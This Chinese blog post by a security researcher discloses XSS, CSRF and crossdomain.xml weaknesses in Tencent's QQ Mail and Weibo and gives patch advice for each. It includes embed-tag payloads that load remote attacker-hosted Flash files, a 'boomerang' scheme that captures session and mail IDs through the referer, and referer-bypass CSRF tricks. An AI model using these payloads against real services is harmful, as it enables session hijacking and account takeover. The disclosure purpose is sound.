|
By Superhei
Sunday, April 24, 2011
一、邪恶的filterflag
关于filterflag的问题最早报告在2009年4月的《QQmail Multiple Xss
Vulnerabilities》一文里,但是直到今天该问题没有彻底得到解决。多个功能都可以触发，最直接的功能就是“打印”功能：
http://m353.mail.qq.com/cgi-bin/readmail?sid=[xxx]&t=readmail_print&s=print&filterflag=true&mailid=[xxx]
默认直接引入filterflag=true，当被攻击者使用此功能时，就可能直接被xss攻击。我们在看看“读邮件”功能,通过上次报告的腾讯“修补”的方式其实只是同过引入一个iframe打开，通过分析访问的url可以得到真正的读邮件功能的url：
http://m353.mail.qq.com/cgi-bin/readmail?folderid=1&t=readmail&mailid=[xxx]&mode=pre&maxage=3600&base=12&ver=1&sid=[xxx]&newwin=true&nocheckframe=true
我们附加filterflag=true后成功触发xss。 对于实际利用来说，mailid和sid都是随着登录而变化的，那么我们怎么得到它们呢？
通过上面的url可以看出mailid和sid都是get提交的变量，那么当我们引入第三方内容的时候通过取HTTP_REFERER可以得到当前邮件的url，当然包括了mailid和sid了！：）
poc设计如下：
邮件1的代码：
<img src="第三方内容"></img><xssplayload>
第三方内容[mail.php]:
提取HTTP_REFERER[即邮件1的url]后，注入filterflag=true后发送 邮件2
邮件2的代码：
<a href="邮件1的url&filterflag=true"
target="blank">test</a>
攻击者访问邮件2后点击test的link，访问设置了filterflag=true的邮件1，导致我们<xssplayload>执行。
这个利用过程我称其为《回旋镖》
补丁建议：
A、这个开关的设计无非所怕过滤系统影响业务,不知道官方同学有没有跳查过真正对业务有多大的影响,必要是取消这个开关。[这又是一个安全于业务的话题！！]
B、如果这个开关必不可少的话，建议所用cookie/session等提交。
C、在需要filterflag=true的时候使用验证码，并提示用户保证邮件内容安全。
D、禁止在get方式提交敏感数据[sid/mailid]
二、悲剧的json
最早报告json导致的xss问题可以追溯到去年的2月我写过一篇blog《不要忘记数据本身的解析》当时的demo就是用的qun.qq.com上多个json导致的xss。后来我在今年的mhtml和utf7
bom导致的json里的xss问题。
现在我们在看看最开始提到的demo里的xss，到本文为止xss依旧！！！！
补丁建议：
引用blog《about utf7-BOM string injection》
那么解决这个问题的方案有2点：
1. 严格控制数据文件，返回的Content-Type。
2. 数据存储时，使用编码。
当时甲方的朋友们看到json里直接插入html标签进行xss后，都基本所用了“2.
数据存储时，使用编码”了，而且没有去限制“Content-Type”，基本很在继续的“text/html”,这个也为这次的utf7-BOM string
injection埋下了罪恶种子，如果这次再不修改Content-Type，我想有可能种子还有机会发芽开花!! :)
我想如果上面的2点方案同时用上，应该是一个不错的选择。
三、没完没了的<embed>
就qqmail来说对于embed标签出现的安全问题从来就没有消停过，最早的qqmail大概所07年前可以直接通过：
<embed SRC="http://www.80vul.com/xss.swf"
type="application/x-shockwave-flash" allowScriptAccess="always" width="0"
height="0"></embed>
来xss的。到里2009年《QQmail Multiple Xss Vulnerabilities》里需要使用相对路径了：
<embed src="/data/test.swf" type="application/x-shockwave-flash"
allowscriptaccess="always" width="0" height="0"></embed>
当时可以通过上传文件来调用...后来不知道什么时候限制了几个安全属性,设置了allownetworking="internal"
allowscriptaccess="never"
<embed src="http://www.80vul.com/xss.swf"
type="application/x-shockwave-flash" width="0" height="0"
allownetworking="internal" allowscriptaccess="never"></embed>
不过在今年4月根据Gareth Heyes发现的webkit下的code属性可以调用flash：
<embed code="//businessinfo.co.uk/labs/xss/xss.swf"
allowScriptAccess="always">
再一次成功xss，很块这个也被fixed了，不过在与此同时我发现了qqmail的另外一个缺陷[我同样也通知了官方的朋友，但是到本文为止未修补]：在处理embed标签时没有指定type属性，那么我们在webkit下可嵌入html代码[相当于iframe]。
对于利用先不说挂webkit的0day，貌似这个不可以直接在qqmail域执行js。:(
我们跳到文章前面第一节里的“回旋镖”，当时邮件2利用的<a href>这个需要点击，如果我们直接利用embed嵌入呢？ ：）
补丁建议：
严格按照安全所用embed的安全规范走，规定type属性。
四、附件之疼
qqmail对于html附件一直防御比较严格的，就我发现的前后报告了2次的utf7的xss，第一次不记得是什么时候里当时用<meta
http-equiv='content-type' content='text/html;charset=utf-7'>指定utf7时
打开html附件可以直接搞，第二次是今年utf7-bom的html附件。当然报告后都很及时的补丁了...
然而就在前几天又发现一个问题。qqmail在处理html附件时直接有显示“打开”功能，这个打开的网页肯定是做了安全过滤的，但是对于非html后缀的文件呢？
进过测试发现html附件“打开”的url为：
http://m480.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=pp.txt.htm&sid=[xxx]&action=view&func=inline
对应的附件“下载”url为：
http://m480.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=pp.txt.htm&sid=[xxx]
很显然url附加&action=view&func=inline就可以了....
于是我们添加附件名为非html后缀的文件：
http://m396.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=mime.rar&sid=[xxx]
用ie访问http://m396.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=mime.rar&sid=[xxx]&action=view&func=inline
成功xss。
实际利用一样要得到mailid和sid，如法炮制《回旋镖》：）
补丁建议：
对于附件问题来说在《QQmail Multiple Xss
Vulnerabilities》问及《我在qqmail上放了*个后门》文里提到的保证”代码与数据分离是安全设计的重要原则“
也就是附件与mail的域完全分离...
五、微博的csrf
在去年的时候报告了2个腾讯微博的csrf漏洞。微博防御csrf的方式之是判断了HTTP_REFERER，那么我们只要绕过对HTTP_REFERER的判断或者通过as/js等可以自定义HTTP_REFERER的方法就可以进行csrf攻击了.
首先说一下已经补丁了的非常经典的漏洞：
设置子域名http://t.qq.com.80vul.com
直接写个提交的html，就可以成功csrf了。这个漏洞在报告后其实也没有马上fix的，多次建议他们才修补！！
这个属于对referer处理的正则逻辑漏洞。
另外一个是PZ牛发现的一个firefox+flash可以伪造HTTP_REFERER的漏洞：
<embed type="application/x-shockwave-flash"
src="http://t.qq.com%0afoo:%20@www.80vul.com/flash/qqcsrf.swf"/>
不过这个漏洞不在适用于firefox4.0，对于这样的浏览器的问题貌似应用方很无辜？根据我以前的blog文《web
app安全的独立性》你还这样认为吗？另外今年的mhtml和utf7 bom导致的安全问题一样的道理。
补丁建议：
1、对于csrf的攻防在目前来是比较成熟的。建议增加token等机制。
2、重视《web app安全的独立性》
六、crossdomain.xml
早在n年前我就报告了qun.qq.com/crossdomain.xml的设置问题，直到前不久才设置为：
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.qq.com" />
</cross-domain-policy>
之前都是悲剧的<allow-access-from domain="*"
/>，至于这样的后果这里就不谈了，我们在随便看看其他的子域名：
http://yc.qq.com/crossdomain.xml
http://ent.qq.com/crossdomain.xml
...
都还是domain="*"
至于其他的基本都是domain="*.qq.com"
domain="*.soso.com"等，这样对于腾讯这样的庞大的子域名系统，找一个可以上传文件的子域名就可能突破。
补丁建议：
a、审计业务的需求，应该把握crossdomain.xml的设置，如没有必要这个xml都可以删除。
b、保证”代码与数据分离是安全设计的重要原则“[可以上传文件等的独立域名体系]
七、其他
比如国内各大公司还没有重视的json-hijecking、Clickjacking、FPI、子域名外包网站等问题。
小结
上面一些漏洞都是报告过但是没有得到完美处理的问题。这和这些漏洞本身的特点有关系，大多属于框架整体、业务功能本事的特点以及标准化的安全规范上的问题，所以只有从这些方面去着手才有可能从根本上解决问题。上面提到的那些漏洞就包括以下的一些原则或规范：
1、 《代码与数据分离是安全设计的重要原则》by 刺
2、 《web app安全的独立性》
3、 《不要忘记数据本身的解析》
4、 《Flash应用安全规范》 by jianxin
5、 确保好敏感数据的安全
从上面一些问题可以看出来腾讯很多漏洞都是从诞生来就埋下的隐患，而且在实际的安全推动过程缺少对应的规范原则，或者缺少执行力……
抛弃“见洞补漏”的刀耕火种的原始方式吧！
|
推荐
评论(0条)
